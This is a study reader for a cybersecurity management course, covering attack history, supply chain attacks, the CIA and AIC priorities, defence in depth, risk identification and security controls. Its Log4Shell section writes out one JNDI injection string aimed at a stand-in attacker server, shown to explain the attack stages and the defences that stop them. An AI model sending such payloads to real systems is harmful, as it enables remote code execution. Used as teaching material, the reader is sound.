How to use this reader

• Chapters 1 to 8 are the study content: each topic explained in plain language, with drawn diagrams, worked examples, and at the foot of each card every question set on it, word for word, with the part the card answers lit. The copy button on a card copies it to paste into Claude and ask about.
• Three kinds of question sit under a card: asked on a paper (a sitting), set in the course (the lecture decks or the class notes set it as a question) and predicted (not asked yet: 31 from the class notes, 81 written for this reader). All 35 are answered.
• Summary gives every topic in a line or two, for the last read before the exam, and ends with the Recall sheet: every topic again as bare keywords.
• Compact chapters keep every detail of a chapter with the teaching prose taken out; one button copies a whole chapter to give Claude as context.
• Theory answers give the exam answer to every question that asks what a thing is, why it matters or how two things compare, written at the length its marks deserve.
• Practical answers give the ones that ask how a thing is done: the lifecycles, procedures and the risk calculation, step by step.
• Question bank reproduces all 35 questions word for word, each linked to its answer and its card.
• Mind map draws each chapter as its lists; Close all turns it into a test. Flashcards drill the definitions and every question.

Writing the paper

• About twenty minutes a question: 180 minutes for eight questions of 10 marks, with a few minutes to choose your six from Group A.
• Every answer has the same shape: a one line definition, the stages, types or steps with a line on each, a diagram where one exists, and an example.
• Two part questions split the marks. Give each part its share of the time, in the order asked.
• Draw the model. The CNSS cube, the kill chain, the pyramid of pain, the SIEM pipeline, the incident response lifecycle and the policy hierarchy each earn marks as a drawing.
• The case study shows its working. Write the formula, substitute, give the unit, then decide and justify, the way the warranty question is answered.

The whole subject on one page

Eight chapters and every topic card in them. The number beside a topic is how many of the 4 sittings asked it.

How to read the chips

Under each chip is the list of sittings that asked it: 81 Bh is the 2081 Bhadra board paper (bold, a board sitting); 82 int and 83 int are the campus internals of 2082 and 2083.

What cybersecurity is, why it matters, and its domains PREDICTED

Security in general is the quality or state of being secure, free from danger (Whitman and Mattord's definition, which the deck uses): protected from loss, damage, unwanted modification and other hazards. Information security protects information in every form, a printed file included; ISO/IEC 27000 defines it as the preservation of the confidentiality, integrity and availability of information. Cybersecurity is the part that protects the digital world: systems, networks, and the data they hold, process and carry.

The deck's introduction in four points:

• Scope: it covers many domains and aspects: network, application and information security, operational security, disaster recovery and end-user education.
• Threats: it faces many kinds of threat and attack: malware, phishing, ransomware, denial of service and advanced persistent threats.
• Who needs it: individuals and organizations of all sizes and sectors, since attacks seriously harm their privacy, reputation, assets and operations.
• A moving target: a dynamic, evolving field that needs constant vigilance, awareness and adaptation to the latest trends and technologies.

Security is never one control. The deck lists several strategies used together: a multilayered system (defence in depth), data abstraction, data hiding and encryption. Management's role is to see that each is planned, organised, staffed, directed and controlled.

Why it matters: malice, mistakes and mischance. Security measures safeguard against intentional harm, unintentional errors and unforeseen incidents, that is, against theft, fraud, disruption and destruction. Each kind of harm needs a different kind of control (the deck gives one example of each):

• Malice (deliberate attack): a system protecting sensitive data from malicious hackers trying to gain unauthorised access, steal information or disrupt operations; a ransomware gang encrypting a hospital's records is another case. Controls: access control, monitoring, encryption.
• Mistakes (honest errors by authorised people): access controls and verification procedures that stop authorised users from accidentally deleting or modifying critical data, an administrator dropping the wrong table or a clerk emailing a file to the wrong address. Controls: least privilege, verification steps, change control.
• Mischance (unforeseen incidents): a robust backup and recovery system that limits the data lost to system failures, natural disasters or hardware malfunctions: a disk failure, a power cut, an earthquake like Gorkha in 2015. Controls: backups, redundancy, a disaster recovery site.

To remember it: picture one eSewa wallet. A fake "KYC update" SMS that tricks its owner into typing the PIN is malice; sending Rs 5,000 to a mistyped mobile number is a mistake; the phone that holds it sinking in the Trishuli on a rafting trip is mischance. Each needs its own fix: alertness and MFA, a confirmation screen before paying, and a way to recover the account.

Why an organization should care. The deck lists the impacts of cyber attacks: reputational damage, financial loss, loss of customers, a drop in stock price and profits, and lost sales; sensitive customer information, intellectual property and even the control of key machinery are increasingly at risk. Its survey chart gives the share of organizations reporting each area hit by a breach:

Yet management often looks away. The deck's complaint: at most organizations management still believes information security is a relatively unimportant issue, not worthy of considerable top management attention, and so often does not appreciate how doing a good job in the information security realm leads to tangible business benefits such as increased sales and competitive advantage. Its question: if being able to double the level of sales is not important to top management, what is? A meme in the deck makes the same point: the security budget is counted coin by coin before a data breach and thrown in the air after one.

"Cyber security is a CEO issue" (a McKinsey line the deck quotes), with five figures behind it:

• $3.5 million: the average cost of a data breach per incident.
• 63 percent of breaches: involve weak or stolen passwords.
• Over 300,000 new malware samples: created and spread every day.
• 266 to 365 days: the average time to detect and contain a breach.
• 87 percent of senior managers: admit to accidentally leaking business data.

Warren Buffett, quoted in full: "It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you will do things differently." The deck's figures date from the mid 2010s; IBM's yearly Cost of a Data Breach report put the global average at about $4.9 million in 2024, so the point has only grown.

Attacks are prolific because the attack surface keeps increasing. The attack surface is all the vulnerabilities or weaknesses in the security controls that an attacker could exploit, together with the attack vectors threat actors use to gain unauthorised access to confidential data and carry out attacks: security gaps in IoT and smart devices, mobile devices, home networks, data centres, the supply chain. The deck's graphic lists what it is made up of:

Shadow IT, services staff set up without the security team, is a classic unmanaged addition to the surface, and the deck tells its story as a cartoon:

The domains of cybersecurity. The field is wide, so it is split into domains, each with its own controls and specialists:

The deck's domain map (Henry Jiang's widely shared Map of Cybersecurity Domains) puts "cybersecurity domains" at the centre with nine branches. Every leaf, branch by branch:

The certification roadmaps on the next two slides (CompTIA's IT certification roadmap, and Paul Jerimy's Security Certification Roadmap of 473 certifications, January 2023) are career guides, but the second sorts the field into the eight domains of the CISSP body of knowledge: security and risk management, asset security, security architecture and engineering, communication and network security, identity and access management, security assessment and testing, security operations, and software development security.

The specialised areas of security (the deck's older list, from Whitman and Mattord):

• Physical security: strategies to protect people, physical assets and the workplace from fire, unauthorised access and natural disasters: biometrics, a fence, CCTV, a fire extinguisher.
• Personnel security (the deck writes personal): protection of the people within the organization: an evacuation plan, floor wardens.
• Operations security: keeping the business running without interruption or compromise: the BCP and the DRP.
• Communications security: protection of communications media, technology and content, and of the ability to use them for the organization's objectives: encryption.
• Network security: protection of the data networking devices, connections and contents, and of the ability to use the network for data communication: firewall, IDS/IPS, DMZ.
• Information security (InfoSec): the whole, spanning all of them.

A short history of attacks: from password guessing to Mirai PREDICTED

Then vs. now. The deck opens its history with a classic chart from the CERT Coordination Center at Carnegie Mellon, covering 1980 to 2000. In the class notes' words, the knowledge required by an intruder has decreased while the sophistication of the attacks has increased:

• The red line, attack sophistication, climbs through the techniques of each period: password guessing, self-replicating code, password cracking and exploiting known vulnerabilities (early 1980s); disabling audits, burglaries, back doors and hijacking sessions (late 1980s); sweepers, sniffers, network management diagnostics and packet spoofing (around 1990); GUI tools and automated probes and scans (mid 1990s); then www attacks, denial of service, distributed attack tools (DDoS), "stealth" and advanced scanning techniques, cross site scripting and, by 2000, sophisticated command and control.
• The green line, intruder knowledge, falls from high to low over the same years and crosses the red one in the early 1990s. The arrowheads are labelled tools and attackers: the sophistication moved into the tools, so the attackers no longer need it.

To remember it: once Wai Wai came in a packet, anyone could make noodles in two minutes without knowing how to cook; once an attack comes packaged as a tool, anyone can launch it without knowing how it works.

The industrial timeline. A second slide traces attacks on operational technology (OT), from one disgruntled man with a laptop to state weapons and ransomware gangs. The middle column is the deck's own line for each:

Windows on the timeline. Eight entries carry a Windows logo: Davis-Besse, Stuxnet, Shamoon, the Ukraine powergrid, NotPetya, Labcore, TRISIS and Norsk Hydro. Each of these attacks ran through ordinary Windows computers, the usual way into an industrial network. The slide ends with a question: what's next?

Maroochy Shire (2000), the deck's first case. A disgruntled former employee of the company that had installed the shire's sewage control system used a stolen laptop and radio equipment to remotely access and manipulate the SCADA (supervisory control and data acquisition) system controlling the sewage pumps. Over 800,000 litres of raw sewage were released into local rivers, parks and even a hotel's grounds, causing environmental damage and health hazards. After weeks of unexplained system malfunctions, investigators traced the attacks back to him; he was arrested and sentenced to two years in prison. One insider with system knowledge, and radio commands that nobody authenticated, were enough.

How Stuxnet worked (the deck's six step graphic; its last two steps are pictured on the AIC card):

1. Infection: it entered through a USB stick and spread to Microsoft Windows machines; a digital certificate that made it look as if it came from a reliable company let it evade automated detection.
2. Search: it checked whether the machine belonged to the targeted industrial control system, made by Siemens, of the kind Iran used to run the high-speed centrifuges that enrich nuclear fuel.
3. Update: on any other system it did nothing; on a target it tried to reach the internet and download a newer version of itself.
4. Compromise: it took over the target's logic controllers through zero-day vulnerabilities, flaws that security experts had not yet identified.
5. Control: it first spied on the plant's operation, then used what it learnt to take control of the centrifuges and make them spin themselves to failure.
6. Deceive and destroy: meanwhile it fed false readings to the outside controllers, so nobody knew what was wrong until it was too late.

How WannaCry worked (May 2017, shown beside the deck's NotPetya entry; NotPetya used the same EternalBlue exploit six weeks later):

1. Arrive via exploit: EternalBlue, an exploit of the Windows file sharing (SMBv1) flaw that patch MS17-010 had fixed in March 2017, delivers the worm through lsass.exe.
2. Run as a service: the file mssecsvc.exe installs itself as a service, first queries a web domain that acts as a kill switch, then spreads to other devices.
3. Drop the encryptor: tasksche.exe performs the encryption.
4. Drop the ransom note's parts: the @WanaDecryptor@ program (an .exe) and a .wnry configuration file.
5. Encrypt: local and shared files of 176 file types are encrypted and renamed .WNCRY.

The kill switch is why it stopped: the malware quit if that unregistered domain answered, and on 12 May 2017 a researcher, Marcus Hutchins, registered it and halted the spread. Chapter 2 teaches ransomware, and chapter 6 the response to WannaCry.

How the Mirai botnet worked (the deck's figure, in nine numbered steps):

1. Scan: existing bots scan for new victims and try brute force logins with factory default usernames and passwords.
2. Report: they report each vulnerable device they identify to the report server.
3. Send: the report server passes the victim's details to the load servers.
4. Load: a load server logs in and loads the malware onto the victim.
5. Join: the victim runs the malware and joins the other bots.
6. Command: the C&C (command and control) server sends infect and attack commands to the bots.
7. Check: the C&C server checks the botnet's status with the report server.
8. Attack: the bots carry out DDoS attacks on the target.
9. Stay in touch: the bots and the C&C server keep communicating.

Mirai began as a game war. Its authors, three young Americans who later pleaded guilty, built it to knock rival Minecraft game servers offline. In September 2016 it hit the Krebs on Security website and the French host OVH; its source code was then published, and on 21 October 2016 a Mirai botnet hit the DNS provider Dyn, taking sites such as Twitter and Netflix offline for many users. Chapter 2 teaches DoS and DDoS.

Supply chain attacks: SolarWinds, Log4j and the xz backdoor PREDICTED

Why it is so hard to stop:

• Trust is the way in: the update is signed by the real vendor, so antivirus, allow lists and signature checks all let it through.
• Nobody sees inside: a customer cannot inspect a vendor's build system, and few organizations know every library buried inside the software they run.
• One flaw, everyone's flaw: a library such as Log4j sits inside thousands of products, often maintained by a handful of volunteers.
• Patient attackers: the SolarWinds intruders worked unseen for fifteen months, and the xz attacker spent three years earning trust.

To remember it: picture a famous momo shop whose achar the whole street trusts. Nobody checks the achar, because everyone knows the shop; poison one batch at the supplier, and every plate served that day carries it into a hundred homes, though no customer did anything careless.

SolarWinds Orion (discovered December 2020)

The deck's facts: the threat actor (TA) was the Russian-backed group APT29 (Cozy Bear); about 18,000 customers were impacted, among them US government agencies and Microsoft, FireEye, Cisco, Intel, Nvidia and VMware; and FireEye detected the breach after discovering that its own red team tools had been stolen. The attackers planted SUNBURST, a backdoor, inside an update of SolarWinds' Orion network monitoring software, which customers installed as a normal, signed update.

Log4j and Log4Shell (December 2021)

Log4j is a widely used Java-based logging library, used to record system activity, debug issues and track events in enterprise applications, cloud services, IoT devices and even game servers like Minecraft. Its flaw Log4Shell (CVE-2021-44228, CVSS 10.0) let an attacker execute arbitrary code on a vulnerable server simply by getting a string logged; it surfaced in December 2021 on Minecraft servers, where typing the string into the game chat was enough. The deck's figure (by GovCERT.ch) shows the JNDI attack in five steps, and where each step is stopped:

1. Inject: the attacker puts a JNDI lookup in a header field that is likely to be logged, such as User-Agent: ${jndi:ldap://evil.xa/x}. Stopped by a web application firewall rule.
2. Log: the vulnerable server passes the string to Log4j for logging. Stopped by patching Log4j, or disabling it.
3. Look up: Log4j interpolates the string and queries the attacker's LDAP server, ldap://evil.xa/x. Stopped by disabling JNDI lookups.
4. Answer: the malicious LDAP server responds with directory information that points to a malicious Java class (javaClassName, javaCodebase).
5. Execute: Java deserializes or downloads the malicious class and runs it. Stopped by disabling remote codebases.

What attackers did with it (the deck's "call to action" list): cryptomining, remote shells, ransomware, data exfiltration and APT intrusions. JNDI is the Java Naming and Directory Interface and LDAP the Lightweight Directory Access Protocol; Apache fixed the flaw in Log4j 2.15.0 and closed follow-on flaws up to 2.17.1.

The xz backdoor (discovered March 2024)

xz Utils (the class notes write XZ) is a data compression tool and library, liblzma, shipped with most Linux distributions; on several of them the OpenSSH server, sshd, loads liblzma indirectly. The attack was social engineering played over three years:

1. 2021, a persona: the GitHub account JiaT75, "Jia Tan", is created.
2. 2022, building reputation: Jia Tan sends a first contribution; several fake profiles pressure the overworked maintainer to accept contributions and take on a new maintainer, and he grants Jia Tan permissions and merges the work.
3. 2023, taking control: Jia Tan becomes the primary contact for xz in Google's OSS-Fuzz (continuous fuzz testing for open source) and disables a security feature in the project's builds.
4. 2024, the attack: Jia Tan adds the backdoor to releases 5.6.0 and 5.6.1, and more fake profiles urge Linux distributions to ship the new version.
5. Discovery, by accident: the backdoor caused performance issues; Andres Freund, an engineer at Microsoft, noticed SSH logins taking about half a second longer and traced the cause. GitHub suspended the repository and the maintainers' accounts while it investigated. It was caught before most stable distribution releases shipped it (CVE-2024-3094).

How the backdoor installed itself (the deck's flow): the release tarball, not the source anyone reviewed, carried a modified m4 macro script; building the package unpacked an archive hidden among the test files, ran bash script 1 and then bash script 2, extracted the payload and deployed the object file liblzma.o into the library. When sshd loaded the library, the backdoor gave the attacker remote code execution (RCE) over SSH.

Defending against supply chain attacks:

• Know the ingredients: a software bill of materials (SBOM) lists every component of a product, so the question "where do we run Log4j?" takes minutes, not weeks.
• Third and fourth party risk: assess suppliers and their suppliers (the domain map's risk assessment branch).
• Patch fast: Log4Shell was mass-exploited within days of its disclosure.
• Least privilege and segmentation: a monitoring tool such as Orion holds wide rights, so limit what it can reach.
• Watch outbound traffic: SUNBURST had to call home and Log4Shell had to fetch a class from outside, so egress filtering and monitoring (logs and SIEM) can catch both.
• Secure the build: protected build servers, signed commits and reviewed releases, and support for the volunteers who maintain critical open source.

CIA priority, and why operational technology reverses it to AIC PREDICTED

Who puts what first (deck):

• Military and government: confidentiality above integrity and availability; a leaked plan or identity is the worst outcome.
• Private companies: often availability above the other two; an online shop that is down loses sales every minute.
• IT systems (email, ERP, databases), even in private companies, tend to follow the CIA order, because the data itself is the asset.
• OT systems follow AIC: availability is prioritised overall, and integrity is valued over confidentiality.

What OT is. Operational technology is the hardware and software that monitors and controls physical processes: programmable logic controllers (PLCs), supervisory control and data acquisition (SCADA) systems, distributed control systems and manufacturing execution systems (MES). They run power grids, hydropower plants, water treatment, pipelines and factories. NIST's guide to securing them is SP 800-82 (Rev. 3, 2023, Guide to Operational Technology Security).

Why availability comes first in OT:

• The process is physical and continuous. A controller that stops can stop a turbine, a pump or a production line; downtime means blackouts, spoiled batches or danger.
• Safety. Losing view or control of a plant can injure people: at Davis-Besse (2003) the Slammer worm blinded a safety monitoring display for about five hours.
• Real time and hard to patch. Control loops must respond in milliseconds and run for years; a reboot for a patch waits for a planned shutdown and the vendor's approval.

Why integrity comes second: in OT a wrong value is a physical event. A changed setpoint can overheat a boiler or overdose a water supply. Stuxnet was an integrity attack: it altered PLC logic to spin centrifuges to failure while replaying normal readings to the operators, and TRISIS (2017) went after the safety systems themselves.

Why confidentiality comes last: most OT data, a tank level or a valve position, is not secret, and many industrial protocols (Modbus, and DNP3 in its basic form) have no encryption or authentication at all. A leak is bad; a stopped or corrupted plant is worse.

To remember it: imagine the control room of a hydropower plant on a Himalayan river. If someone reads its screens, the world learns the reservoir level, hardly a secret (C). If someone changes a setpoint, a turbine can overspeed and wreck itself (I). If the controllers stop, the turbines stop and the grid loses the plant (A). The engineers fear the stop most, the tampering next and the leak least: A, I, C.

Example: Maroochy Shire (2000). Nothing secret leaked when a former employee of the installer drove the sewage SCADA system by radio; the harm was to availability (pumps failing) and integrity (false commands), and over 800,000 litres of sewage escaped. A design that put confidentiality first would have spent its effort in the wrong place.

Security design principles: least privilege, separation of duties and the rest PREDICTED

Security through obscurity (the deck's data hiding) is relying on nobody knowing how a thing works. It can slow an attacker, but open design says it must never be the only control: once the secret design leaks, nothing is left.

Operational principles apply the same ideas to people: job rotation and mandatory vacations (fraud that needs daily upkeep comes to light when someone else does the job), defence in depth, and zero trust (NIST SP 800-207, 2020): no user or device is trusted for being inside the network, and every request is authenticated and authorised.

How they serve the goals. Least privilege and need to know limit what a stolen account can read (confidentiality) or change (integrity); separation of duties stops one insider from committing and hiding fraud (integrity, accountability); fail-safe defaults and complete mediation close forgotten paths; psychological acceptability keeps passwords off sticky notes. The terminated vice president's case breaks the first of them: his rights outlived his job by three years.

Defence in depth: layered security PREDICTED

The idea is old. A castle had a moat, an outer wall, an inner wall and a keep; military defence in depth trades ground for time instead of betting everything on one line. In security the premise is that every control eventually fails (a firewall rule is wrong, a user clicks a link, a patch is late), so no single control should be all that stands between the attacker and the data. The US NSA's version of the strategy rests on three elements: people, technology and operations.

The seven layers (the deck's figure, from the outside in):

The four layers the class notes ask for:

• Perimeter: the first line of digital defence, protecting the internal network from external threats that originate on the internet: firewalls, VPNs and packet filters control the traffic entering and leaving, with a DMZ for public servers.
• Internal network: the internal network layer, operating inside the perimeter, is the second line; it secures communication within the corporate network and assumes the perimeter has been crossed: segmentation, internal firewalls, intrusion detection and encryption of internal traffic contain an intruder and stop lateral movement.
• Host: each server and workstation defends itself with a patched, hardened operating system, malware protection and EDR.
• Data: the innermost and most critical layer, protecting the information itself through database, content and message security; even an attacker who controls a host should find the data encrypted, access controlled and backed up.

Walking an attack through it. A phishing email with a malicious attachment: the email gateway (perimeter) may block it; a trained user (awareness) may report it; EDR (host) may stop the macro; segmentation (internal network) may stop the spread; MFA (application) may make a stolen password useless; encryption (data) may make copied files unreadable; and logs sent to a SIEM may detect whatever got through. The attacker must win at every layer; the defender needs to win at one.

Making the layers real:

• Independent failures: two firewalls from the same vendor with the same flaw are one layer, not two; mix vendors and kinds of control.
• Mix functions: each layer should prevent, detect and correct (control functions).
• Assume breach: design as if the outer layers have already failed; this thinking leads to zero trust, where no request is trusted for coming from inside.
• Depth follows risk: every layer costs money and administration, so the most valuable assets get the most layers.

Assets, threats, vulnerabilities and risk: the vocabulary PREDICTED

These words are loose in everyday speech and exact in risk management. The deck gives them a slide of their own, risk management terms and terminologies; answers across the course quote them, and each builds on the one before, so they are best read in order. The example throughout is a college's online results system.

The relationship in one sentence: a threat agent carries out a threat that exploits a vulnerability in an asset; the chance of that is risk, and safeguards reduce it. The deck draws it as a loop: threats exploit vulnerabilities, which result in exposure, which is risk, which is mitigated by safeguards, which protect assets, which are endangered by threats.

All three are needed for a risk. No vulnerability, no risk from that threat (a flood and a server room on the third floor); no threat, no risk from that weakness (a flaw in software nobody can reach); nothing of value, nothing to lose. Risk is often written loosely as a product, so that when any factor is near zero, so is the risk:

An analogy the deck borrows from a well known security tweet (by the researcher Casey Ellis, April 2021; the deck shows it printed on a T-shirt): the threat actor is someone who wants to punch you in the face, the threat is the punch being thrown, the vulnerability is your inability to block it, the risk is the likelihood of being punched, and acceptable risk is how willing you are to be punched.

Controls act on the parts. A patch removes the vulnerability; a firewall or a deterrent keeps the threat from reaching it; backups and insurance cut the impact. Nothing reduces the value of the asset, which is why risk identification starts with the assets.

The categories of threat, and where vulnerabilities come from PREDICTED

To remember it: one imagined cyber cafe in Kathmandu could meet most of the twelve in a single year: a pirated copy of Windows on every PC (intellectual property), load-shedding and a slow ISP (quality of service), a customer reading the last user's open email (espionage or trespass), a monsoon flood in the basement (forces of nature), the operator deleting the bills folder (human error), a stolen webcam (theft) and machines on an operating system that no longer gets patches (obsolescence).

Simpler cuts of the same list. By intent: deliberate (espionage, extortion, sabotage, software attacks, theft), accidental (human error, hardware and software failure) and environmental (forces of nature, service deviations); by source, external or internal (the insider); or the deck's malice, mistakes and mischance.

Today's top threats (the deck's graphic): phishing, ransomware, malware, Emotet (a banking trojan turned malware-delivery botnet, which Europol's operation took down in January 2021 before it returned that November), advanced persistent threats, software supply chain attacks (the supply chain card), data breaches, password attacks, cloud security and privacy, cloud security threats, and insecure IoT. The graphic also has a tile for multi-layer security, which is the answer rather than a threat (defence in depth).

The top eight types of cyber attack (an infographic in the deck), each taught in full in chapter 2:

Threat assessment (the deck's identify and prioritise threats and threat agents). Each threat presents a unique challenge to information security and must be handled with specific controls that directly address that threat and the threat agent's attack strategy. Before threats can be assessed in risk identification, each one must be further examined to determine its potential to affect the targeted information asset; this is threat assessment. Not every threat matters equally, and assuming every threat attacks every asset makes the job impossibly large. The deck's criteria ask which threat represents the most danger to the organization, judged by the probability that it attacks this organization, the frequency with which it can occur, the amount of damage it could create, the cost to recover from that damage, and which threats would need the greatest expenditure to prevent. The answers rank the threats before they are paired with the assets (risk identification).

Vulnerabilities are the specific avenues a threat agent can exploit to attack an asset: flaws, loopholes and errors in the IT infrastructure, in processes and in people. When one is exploited, the asset suffers loss or damage. At the end of risk identification a list of assets and their vulnerabilities has been developed, and it is the starting point for the next step, risk assessment (the deck's vulnerability assessment).

How vulnerabilities are found and named: vulnerability scanning and penetration testing (chapter 7), code review and threat modeling, audits, vendor advisories and threat intelligence. Publicly known ones get a CVE identifier (Common Vulnerabilities and Exposures, run by MITRE since 1999) and a CVSS severity score from 0 to 10, published in the US National Vulnerability Database. A flaw unknown to the vendor, or with no patch yet, is a zero-day.

Example: the deck's vulnerability assessment of a DMZ router. Each of the twelve threat categories is taken in turn and the router's possible vulnerabilities written against it:

Reading it: where the router is worth little in itself, the vulnerability is that the assets behind it could be attacked if it falls. Working the list category by category is what makes the assessment complete.

Risk identification: from the asset inventory to the TVA worksheet PREDICTED

The five steps (deck):

1. Create an inventory of information assets: people, procedures, data and information, software, hardware and networking elements, with their attributes, listed without prejudging their value (values come later).
2. Classify and organise the assets: group them in meaningful categories and by sensitivity and security priority; the categories must be comprehensive (every asset fits one) and mutually exclusive (each asset fits only one).
3. Assign a value to each asset: a relative, comparative judgement, turned into a ranked list by a weighted factor analysis.
4. Identify threats to the catalogued assets and assess each one: probability, frequency, damage, recovery cost, prevention cost (threat categories).
5. Pinpoint vulnerable assets by tying specific threats to specific assets: for each threat and asset pair, list the vulnerabilities through which the threat could act.

The class notes' names for the same five: create an asset inventory, classify and categorize assets, assign value to assets, identify threats, and identify vulnerabilities (recorded in the threat, vulnerability and asset worksheet).

Step 1: the inventory, and what to record

Organizational assets used in systems. The deck's table sorts the inventory into six components, each with its risk management view and examples:

The attributes to record for each kind of asset (deck):

To remember it: the deck shows a tweet (by Jim Schwar) in which a CISO asks how many Windows hosts the company has and gets five answers: 7,864 from the antivirus team, 6,321 from desktop management, 6,722 from the EDR team, 4,848 from the CMDB and 9,342 from the SIEM team. Two memes make the same point: you need an accurate inventory of your assets before you can work on protecting them, and nobody expects the inventory report to be accurate. Until the inventory agrees with itself, nobody knows what there is to protect, which is why it is step 1.

Step 2: classifying and categorizing assets

Meaningful categories first. Once the initial inventory is assembled, check that its asset categories are meaningful (people, procedures, data, software, hardware, network components); the inventory should also reflect the sensitivity and security priority given to each asset. A classification scheme then categorizes the assets by their sensitivity and security needs, and each of its categories designates the level of protection an asset needs. The deck draws two schemes, government and military against commercial business and private:

• Government and military, from high to low: top secret, secret, confidential, sensitive but unclassified, unclassified.
• Commercial business and private, from high to low: confidential or private (the deck draws them sharing the top box), sensitive, public.

People get a clearance instead. Some asset types, such as personnel, need an alternative scheme that identifies the clearance needed to use the asset: based on need to know and the right to update, an employee is given a security clearance that sets the level of information he or she is authorised to use.

The asset classification schema (the deck's worksheet for its running example, the SLS E-Commerce system, evaluated in February 2008 by D. Jones) records each asset's data classification and its impact to profitability:

Its notes expand the abbreviations: EDI, electronic data interchange; BOL, bill of lading; DMZ, demilitarized zone; SSL, secure sockets layer.

Step 3: assessing values for information assets

Assessing values for information assets. As each asset is identified, categorized and classified, it is given a relative value: a comparative judgement made so that the most valuable assets get the highest priority. The deck's questions: which information asset is the most critical to the organization's success, generates the most revenue, generates the highest profitability, is the most expensive to replace, is the most expensive to protect, and whose loss or compromise would be the most embarrassing or cause the greatest liability?

Listing assets in order of importance ends this part of identification, and the deck does it with a weighted factor analysis worksheet: three criteria weighted by importance, impact on revenue 30, on profitability 40 and on public image 30 (weights total 100); each asset is scored 0 to 1 on each; its weighted score is the sum of weight times score, $\text{Score}={\sum }_i{w}_i\times s_i$.

Checking the second row (weights 30, 40 and 30 against its scores):

The slide's labels: the scores are individual weights, the 100 is the critical asset and the 41 a non-critical asset; the criterion weights row is the overall org. weight, set once for the whole organization. The customer order stream scores 100 and is protected first.

Steps 4 and 5: threats, vulnerabilities and the TVA worksheet

Threat identification. Any organization faces a wide variety of threats. With a properly classified inventory, the potential weaknesses in each information asset are assessed: this is threat identification. If every threat is assumed to attack every information asset, the project scope becomes too complex, so each step of threat identification and vulnerability identification is managed separately and coordinated at the end. Each threat is then examined and ranked (threat assessment).

Two lists become one worksheet. At the end of identification there is a list of assets and their vulnerabilities, and another list that prioritises the threats from the weighted table. The TVA worksheet (threats, vulnerabilities, assets) combines them: assets across the top in order of value, threats down the side in order of danger. Each cell holds the vulnerabilities found for that pair, named like T1V1A1 (threat 1, vulnerability 1, asset 1), and a pair with no vulnerability is crossed out. The top left corner, the most valuable assets against the most dangerous threats, is where controls go first, so the worksheet also sets the priority of controls, in bands that continue through all asset and threat pairs. It is the starting point for risk assessment.

The deliverables of risk identification and assessment (deck):

Security controls: by type and by function PREDICTED

By type (the deck's control mechanism):

• Administrative (managerial): use processes: policies, procedures, risk assessments, screening of new staff, awareness training, separation of duties, data classification.
• Technical (logical): use technology: firewalls, encryption, access control lists, MFA, IDS/IPS, antivirus and EDR.
• Physical: act on the physical world: fences, locks, guards, badge readers, CCTV, fire suppression.

Other names: CompTIA's current scheme splits administrative into managerial and operational controls.

By function (the deck's control purpose, which files recovery under corrective, plus the two most texts add):

• Preventive: stops a security issue from happening: a firewall rule, MFA, a locked door.
• Deterrent: discourages policy violations: a warning banner, visible cameras, published penalties.
• Detective: identifies issues that need investigation: IDS alerts, log review, audits, CCTV recordings.
• Corrective: modifies the environment to return systems to normal after unwanted activity, or stops an attack in progress: patching the exploited flaw, quarantining malware, killing a malicious process.
• Recovery: remediates issues that have occurred by restoring capability: a restore from backup, failover to a disaster recovery site.
• Compensating: an alternative when the preferred control is impossible or too costly, giving similar protection: an unpatchable legacy PLC isolated on its own network with extra monitoring.
• Directive: tells people what to do: a policy, a sign reading authorised staff only.

The grid of both labels. The deck's own grid crosses three functions, preventative, detective and corrective, with the three types; its examples come first in those rows below, and the other rows complete the picture:

One control, two labels. Every control has a type and a function: CCTV is physical and detective (and deterrent when visible); MFA is technical and preventive; a backup is technical and recovery; an awareness programme is administrative and preventive.

To remember it: walk into any ATM booth. The sticker saying the booth is under CCTV deters; the card and PIN prevent; the camera's recording, pulled out after a dispute, detects; the bank blocking a card reported stolen corrects; the standby server that brings the ATM network back after a crash recovers; a guard posted while the camera is broken compensates; and the notice "one person at a time" directs.

Selecting controls. The deck names three general categories to consider: policies (the general approach to handling a threat), programs (activities the organization runs to improve security, such as training) and technical controls (hardware or software mechanisms that manage access and protect resources). A good set:

• follows the risk ranking: the highest risks are treated first;
• mixes functions: prevention always fails somewhere, so detect, correct and recover too;
• mixes types: a technical control with no policy behind it gets switched off;
• costs less than the risk: the cost benefit test;
• comes from a catalogue: NIST SP 800-53 (twenty control families in Rev. 5), ISO/IEC 27001 Annex A (93 controls in the 2022 edition), the CIS Controls.

Risk treatment: avoid, transfer, mitigate or accept PREDICTED

To remember it: the four choices for a motorbike in Kathmandu traffic. Selling it and taking the bus avoids the risk; buying insurance transfers its cost; a helmet and a disc lock mitigate it; and living with the odd scratch accepts it. Every rider mixes the four, and so does every security programme.

Acceptance is a decision, not neglect. In the class notes' words, it is the choice to continue operations without implementing any controls against a specific risk, typically made when the cost of a countermeasure outweighs the potential loss, or the risk's impact is minimal (their example: a minor software bug with no security implications and little chance of affecting users). It is right only inside the appetite, and it must be documented, signed by the risk owner and reviewed; a risk nobody decided about has not been accepted, only ignored.

Transference moves money, not accountability. Insurance pays for the loss; the customers, the regulator and the damaged reputation still belong to the organization. A cloud provider covers its part of the shared responsibility model, never all of it.

Termination is Whitman and Mattord's fifth strategy: removing the asset or ending the activity when no other treatment makes the risk acceptable, such as retiring an old server rather than defending it.

The deck's risk handling decision chart (its slides are titled risk handling action points), in order:

1. Is the asset's design vulnerable? If not, no risk.
2. Is the vulnerability exploitable? If not, no risk; if so, the asset is vulnerable to attack.
3. When a threat source and the vulnerability both exist, a risk of loss exists.
4. Is the attacker's gain greater than the cost of the attack? If not, the risk can be accepted.
5. Is the expected loss greater than the organization's ability to absorb it? If not, accept; if so, the risk is unacceptable and must be controlled by defence, transfer or mitigation, or else the asset must be terminated.

Then the control loop (the second action points slide): identify the information assets, prepare the ranked vulnerability risk worksheet, develop a control strategy and plan, implement the control, assess it (are the controls adequate? if not, back to the strategy and plan), plan for maintenance, and keep measuring the risk to the information asset (still an acceptable risk? if not, back to the strategy).

Residual risk is whatever remains after treatment; it must sit inside the risk appetite, and the manager who accepts it owns it. In the NIST RMF that acceptance is the authorization decision (RMF).

Policies, standards, baselines, guidelines and procedures PREDICTED

Why an organization needs a policy (deck): to apply security principles consistently throughout the organization; to ensure compliance with information security standards; to limit exposure to external threats; to state senior management's commitment to a secure environment; to provide legal protection; to respond quickly to incidents; to reduce an incident's impact; and to minimise the risk of a data breach. Policies are also the reference documents for internal audits and for settling legal disputes about management's due care and diligence (due care), and a clear statement of management's intent.

